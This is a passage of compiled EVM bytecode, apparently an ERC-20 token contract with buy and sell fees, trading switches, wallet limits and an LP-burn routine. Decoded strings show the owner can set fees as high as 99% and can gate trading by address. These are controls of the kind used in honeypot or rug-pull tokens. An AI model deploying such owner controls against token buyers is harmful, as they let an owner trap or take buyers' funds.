ffffffff168152602001908152602001600020546134f99092919063ffffffff16565b612789565b600190509392505050565b611399612954565b60005b8383905081101561148e578383828181106113e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113f5919061420e565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114739190614d7a565b60405180910390a380806114869061506f565b91505061139c565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006012905090565b601560009054906101000a900460ff1681565b60006115786114dc612781565b8461157385600360006114ed612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272390919063ffffffff16565b612789565b6001905092915050565b61158a612954565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116b4612954565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61177a612954565b6102588310156117bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b690614afa565b60405180910390fd5b6103e882111580156117d2575060008210155b611811576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180890614b9a565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b6000611848612954565b6000601560006101000a81548160ff0219169083151502179055506001905090565b611872612954565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b611901612954565b826018819055508160198190555080601a81905550601a546019546018546119299190614e6a565b6119339190614e6a565b6017819055506019601754111561197f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197690614d3a565b60405180910390fd5b505050565b61198c612954565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b611a28612954565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611a549061503d565b80601f0160208091040260200160405190810160405280929190818152602001828054611a809061503d565b8015611acd5780601f10611aa257610100808354040283529160200191611acd565b820191906000526020600020905b815481529060010190602001808311611ab057829003601f168201915b5050505050905090565b601a5481565b611ae5612954565b611aef828261355d565b5050565b60105481565b60215481565b601e5481565b611b0d612954565b611b178282611dda565b5050565b6000611bde611b28612781565b84611bd9856040518060600160405280602581526020016158c06025913960036000611b52612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f99092919063ffffffff16565b612789565b6001905092915050565b60145481565b611bf6612954565b60005b83839050811015611cbb578160166000868685818110611c42577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190611c57919061420e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611cb39061506f565b915050611bf9565b50505050565b6000611cd5611cce612781565b84846129d2565b6001905092915050565b611ce7612954565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611de2612954565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611ed9612954565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f769190614a02565b60405180910390a25050565b611f8a612954565b82601c8190555081601d8190555080601e81905550601e54601d54601c54611fb29190614e6a565b611fbc9190614e6a565b601b819055506063601b541115612008576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fff90614b7a565b60405180910390fd5b505050565b612015612954565b670de0b6b3a76400006103e8600561202b611133565b6120359190614ef1565b61203f9190614ec0565b6120499190614ec0565b81101561208b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208290614b3a565b60405180910390fd5b670de0b6b3a76400008161209f9190614ef1565b600a8190555050565b6120b0612954565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061211e600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161186a565b50565b602360009054906101000a900460ff1681565b600b5481565b6000612144612954565b620186a06001612152611133565b61215c9190614ef1565b6121669190614ec0565b8210156121a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219f90614bba565b60405180910390fd5b6103e8600a6121b5611133565b6121bf9190614ef1565b6121c99190614ec0565b82111561220b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220290614c5a565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600061230e612954565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b61233e612954565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156123ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a590614aba565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b6000612481612954565b600f546010546124919190614e6a565b42116124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c990614cda565b60405180910390fd5b6103e8821115612517576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250e90614c9a565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161257b91906149e7565b60206040518083038186803b15801561259357600080fd5b505afa1580156125a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125cb9190614465565b905060006125f66127106125e8868561372990919063ffffffff16565b6137a490919063ffffffff16565b9050600081111561263157612630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836137ee565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156126ff57600080fd5b505af1158015612713573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846127329190614e6a565b905083811015612777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276e90614b1a565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f090614cfa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286090614ada565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129479190614d7a565b60405180910390a3505050565b61295c612781565b73ffffffffffffffffffffffffffffffffffffffff1661297a613a87565b73ffffffffffffffffffffffffffffffffffffffff16146129d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129c790614c3a565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3990614cba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa990614a5a565b60405180910390fd5b6000811415612acc57612ac7838360006137ee565b6134f4565b601560009054906101000a900460ff16156130e357612ae96119cb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612b575750612b276119cb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b905750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bca575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612be35750600960149054906101000a900460ff16155b156130e257601560019054906101000a900460ff16612cdd57602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c9d5750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cd390614a9a565b60405180910390fd5b5b602360009054906101000a900460ff1615612ea757612cfa6119cb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d8157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612ddb5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612ea65743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612e61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5890614bfa565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f9a57600b54811115612f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3490614bda565b60405180910390fd5b600a54612f4983611663565b82612f549190614e6a565b1115612f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f8c90614d1a565b60405180910390fd5b6130e1565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661303557600b54811115613030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161302790614b5a565b60405180910390fd5b6130e0565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166130df57600a5461309283611663565b8261309d9190614e6a565b11156130de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d590614d1a565b60405180910390fd5b5b5b5b5b5b60006130ee30611663565b90506000600c5482101590508080156131135750601560029054906101000a900460ff165b801561312c5750600960149054906101000a900460ff16155b80156131825750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131d85750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561321c576001600960146101000a81548160ff021916908315150217905550613200613a9b565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156132455750601260009054906101000a900460ff165b156132555761325385613c23565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061330b5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561331557600090505b600081156134e4576000601b5411156133f0576133506064613342601b548861372990919063ffffffff16565b6137a490919063ffffffff16565b9050601b54601d54826133639190614ef1565b61336d9190614ec0565b6020600082825461337e9190614e6a565b92505081905550601b54601e54826133969190614ef1565b6133a09190614ec0565b602160008282546133b19190614e6a565b92505081905550601b54601c54826133c99190614ef1565b6133d39190614ec0565b601f60008282546133e49190614e6a565b925050819055506134c0565b600060175411156134bf5761342360646134156017548861372990919063ffffffff16565b6137a490919063ffffffff16565b9050601754601954826134369190614ef1565b6134409190614ec0565b602060008282546134519190614e6a565b92505081905550601754601a54826134699190614ef1565b6134739190614ec0565b602160008282546134849190614e6a565b925050819055506017546018548261349c9190614ef1565b6134a69190614ec0565b601f60008282546134b79190614e6a565b925050819055505b5b60008111156134d5576134d48730836137ee565b5b80856134e19190614f4b565b94505b6134ef8787876137ee565b505050505b505050565b6000838311158290613541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135389190614a38565b60405180910390fd5b50600083856135509190614f4b565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156135cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135c490614c7a565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161364b90614a7a565b60405180910390fd5b816004546136629190614f4b565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546136b79190614f4b565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161371c9190614d7a565b60405180910390a3505050565b60008083141561373c576000905061379e565b6000828461374a9190614ef1565b90508284826137599190614ec0565b14613799576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161379090614c1a565b60405180910390fd5b809150505b92915050565b60006137e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613cf0565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561385e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161385590614cba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156138ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138c590614a5a565b60405180910390fd5b6138d9838383613d53565b6139458160405180606001604052806026815260200161587260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f99092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506139da81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a7a9190614d7a565b60405180910390a3505050565b600080613a92613d58565b90508091505090565b6000613aa630611663565b90506000602154601f54602054613abd9190614e6a565b613ac79190614e6a565b9050600080831480613ad95750600082145b15613ae657505050613c21565b6014600c54613af59190614ef1565b831115613b0e576014600c54613b0b9190614ef1565b92505b600060028360205486613b219190614ef1565b613b2b9190614ec0565b613b359190614ec0565b90506000613b4c8286613dfc90919063ffffffff16565b90506000479050613b5c82613e46565b6000613b718247613dfc90919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613bd1906149d2565b60006040518083038185875af1925050503d8060008114613c0e576040519150601f19603f3d011682016040523d82523d6000602084013e613c13565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613c5f91906149e7565b60206040518083038186803b158015613c7757600080fd5b505afa158015613c8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613caf9190614465565b90506000613cc86011548361272390919063ffffffff16565b9050613cd384614104565b613ce55760008114613ce457600080fd5b5b600192505050919050565b60008083118290613d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d2e9190614a38565b60405180910390fd5b5060008385613d469190614ec0565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613dd35760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613df7565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613e3e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506134f9565b905092915050565b6000600267ffffffffffffffff811115613e89577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015613eb75781602001602082028036833780820191505090505b5090503081600081518110613ef5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613f9557600080fd5b505afa158015613fa9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fcd9190614237565b81600181518110614007577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061406c307f000000000000000000000000000000000000000000000000000000000000000084612789565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016140ce959493929190614d95565b600060405180830381600087803b1580156140e857600080fd5b505af11580156140fc573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b60008135905061416a8161582c565b92915050565b60008151905061417f8161582c565b92915050565b60008083601f84011261419757600080fd5b8235905067ffffffffffffffff8111156141b057600080fd5b6020830191508360208202830111156141c857600080fd5b9250929050565b6000813590506141de81615843565b92915050565b6000813590506141f38161585a565b92915050565b6000815190506142088161585a565b92915050565b60006020828403121561422057600080fd5b600061422e8482850161415b565b91505092915050565b60006020828403121561424957600080fd5b600061425784828501614170565b91505092915050565b6000806040838503121561427357600080fd5b60006142818582860161415b565b92505060206142928582860161415b565b9150509250929050565b6000806000606084860312156142b157600080fd5b60006142bf8682870161415b565b93505060206142d08682870161415b565b92505060406142e1868287016141e4565b9150509250925092565b600080604083850312156142fe57600080fd5b600061430c8582860161415b565b925050602061431d858286016141cf565b9150509250929050565b6000806040838503121561433a57600080fd5b60006143488582860161415b565b9250506020614359858286016141e4565b9150509250929050565b60008060006040848603121561437857600080fd5b600084013567ffffffffffffffff81111561439257600080fd5b61439e86828701614185565b935093505060206143b1868287016141cf565b9150509250925092565b6000806000604084860312156143d057600080fd5b600084013567ffffffffffffffff8111156143ea57600080fd5b6143f686828701614185565b93509350506020614409868287016141e4565b9150509250925092565b60006020828403121561442557600080fd5b6000614433848285016141cf565b91505092915050565b60006020828403121561444e57600080fd5b600061445c848285016141e4565b91505092915050565b60006020828403121561447757600080fd5b6000614485848285016141f9565b91505092915050565b6000806000606084860312156144a357600080fd5b60006144b1868287016141e4565b93505060206144c2868287016141e4565b92505060406144d3868287016141cf565b9150509250925092565b6000806000606084860312156144f257600080fd5b6000614500868287016141e4565b9350506020614511868287016141e4565b9250506040614522868287016141e4565b9150509250925092565b60006145388383614544565b60208301905092915050565b61454d81614f7f565b82525050565b61455c81614f7f565b82525050565b600061456d82614e1a565b6145778185614e3d565b935061458283614e0a565b8060005b838110156145b357815161459a888261452c565b97506145a583614e30565b925050600181019050614586565b5085935050505092915050565b6145c981614f91565b82525050565b6145d881614fd4565b82525050565b6145e781614ff8565b82525050565b60006145f882614e25565b6146028185614e59565b935061461281856020860161500a565b61461b81615145565b840191505092915050565b6000614633602383614e59565b915061463e82615156565b604082019050919050565b6000614656602283614e59565b9150614661826151a5565b604082019050919050565b6000614679601683614e59565b9150614684826151f4565b602082019050919050565b600061469c602683614e59565b91506146a78261521d565b604082019050919050565b60006146bf602283614e59565b91506146ca8261526c565b604082019050919050565b60006146e2603383614e59565b91506146ed826152bb565b604082019050919050565b6000614705601b83614e59565b91506147108261530a565b602082019050919050565b6000614728602483614e59565b915061473382615333565b604082019050919050565b600061474b603683614e59565b915061475682615382565b604082019050919050565b600061476e601d83614e59565b9150614779826153d1565b602082019050919050565b6000614791603083614e59565b915061479c826153fa565b604082019050919050565b60006147b4603583614e59565b91506147bf82615449565b604082019050919050565b60006147d7603583614e59565b91506147e282615498565b604082019050919050565b60006147fa604983614e59565b9150614805826154e7565b606082019050919050565b600061481d602183614e59565b91506148288261555c565b604082019050919050565b6000614840602083614e59565b915061484b826155ab565b602082019050919050565b6000614863603283614e59565b915061486e826155d4565b604082019050919050565b6000614886602183614e59565b915061489182615623565b604082019050919050565b60006148a9602a83614e59565b91506148b482615672565b604082019050919050565b60006148cc602583614e59565b91506148d7826156c1565b604082019050919050565b60006148ef602083614e59565b91506148fa82615710565b602082019050919050565b6000614912600083614e4e565b915061491d82615739565b600082019050919050565b6000614935602483614e59565b91506149408261573c565b604082019050919050565b6000614958601383614e59565b91506149638261578b565b602082019050919050565b600061497b601d83614e59565b9150614986826157b4565b602082019050919050565b600061499e602f83614e59565b91506149a9826157dd565b604082019050919050565b6149bd81614fbd565b82525050565b6149cc81614fc7565b82525050565b60006149dd82614905565b9150819050919050565b60006020820190506149fc6000830184614553565b92915050565b6000602082019050614a1760008301846145c0565b92915050565b6000602082019050614a3260008301846145cf565b92915050565b60006020820190508181036000830152614a5281846145ed565b905092915050565b60006020820190508181036000830152614a7381614626565b9050919050565b60006020820190508181036000830152614a9381614649565b9050919050565b60006020820190508181036000830152614ab38161466c565b9050919050565b60006020820190508181036000830152614ad38161468f565b9050919050565b60006020820190508181036000830152614af3816146b2565b9050919050565b60006020820190508181036000830152614b13816146d5565b9050919050565b60006020820190508181036000830152614b33816146f8565b9050919050565b60006020820190508181036000830152614b538161471b565b9050919050565b60006020820190508181036000830152614b738161473e565b9050919050565b60006020820190508181036000830152614b9381614761565b9050919050565b60006020820190508181036000830152614bb381614784565b9050919050565b60006020820190508181036000830152614bd3816147a7565b9050919050565b60006020820190508181036000830152614bf3816147ca565b9050919050565b60006020820190508181036000830152614c13816147ed565b9050919050565b60006020820190508181036000830152614c3381614810565b9050919050565b60006020820190508181036000830152614c5381614833565b9050919050565b60006020820190508181036000830152614c7381614856565b9050919050565b60006020820190508181036000830152614c9381614879565b9050919050565b60006020820190508181036000830152614cb38161489c565b9050919050565b60006020820190508181036000830152614cd3816148bf565b9050919050565b60006020820190508181036000830152614cf3816148e2565b9050919050565b60006020820190508181036000830152614d1381614928565b9050919050565b60006020820190508181036000830152614d338161494b565b9050919050565b60006020820190508181036000830152614d538161496e565b9050919050565b60006020820190508181036000830152614d7381614991565b9050919050565b6000602082019050614d8f60008301846149b4565b92915050565b600060a082019050614daa60008301886149b4565b614db760208301876145de565b8181036040830152614dc98186614562565b9050614dd86060830185614553565b614de560808301846149b4565b9695505050505050565b6000602082019050614e0460008301846149c3565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000614e7582614fbd565b9150614e8083614fbd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614eb557614eb46150b8565b5b828201905092915050565b6000614ecb82614fbd565b9150614ed683614fbd565b925082614ee657614ee56150e7565b5b828204905092915050565b6000614efc82614fbd565b9150614f0783614fbd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614f4057614f3f6150b8565b5b828202905092915050565b6000614f5682614fbd565b9150614f6183614fbd565b925082821015614f7457614f736150b8565b5b828203905092915050565b6000614f8a82614f9d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614fdf82614fe6565b9050919050565b6000614ff182614f9d565b9050919050565b600061500382614fbd565b9050919050565b60005b8381101561502857808201518184015260208101905061500d565b83811115615037576000848401525b50505050565b6000600282049050600182168061505557607f821691505b6020821081141561506957615068615116565b5b50919050565b600061507a82614fbd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156150ad576150ac6150b8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f770000000